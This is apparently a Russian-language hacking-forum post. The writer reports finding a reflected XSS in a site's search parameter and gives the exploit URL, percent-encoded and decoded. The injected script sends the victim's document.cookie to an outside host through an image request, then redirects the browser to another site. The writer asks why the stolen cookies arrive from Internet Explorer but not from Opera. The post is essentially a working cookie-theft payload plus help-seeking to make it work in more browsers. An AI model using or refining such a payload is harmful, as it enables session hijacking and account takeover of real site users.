Нашел пассивную xss, запрос такого вида:
http://site.ru/index.php?s=w&name=&level_min=%3C%73%63%72%69%70%7 4%3E%69%6D%67%20%3D%20%6E%65%77%20%49%6D%61%67%65% 28%29%3B%20%69%6D%67%2E%73%72%63%20%3D%20%22%68%74 %74%70%3A%2F%2F%73%2E%6E%65%74%73%65%63%2E%72%75%2 F%64%6F%6F%6D%35%35%2E%67%69%66%3F%22%2B%64%6F%63% 75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%20%64%6F%63 %75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%2E%72%6 5%70%6C%61%63%65%28%27%68%74%74%70%3A%2F%2F%64%6F% 6F%6D%35%35%2E%66%72%65%65%68%6F%73%74%69%61%2E%63 %6F%6D%2F%27%29%3C%2F%73%63%72%69%70%74%3E&level_m ax=&subclass2=any&dmg_max=

или тоже самое, что и:

http://site.ru/index.php?s=w&name=&level_min=<script>img = new Image(); img.src = "http://s.netsec.ru/123.gif?"+document.cookie; document.location.replace('http://site2.ru/')</script>&level_max=&subclass2=any&dmg_max=

Почему куки не приходят через Opera? Через IE все отлично! На других не тэстил.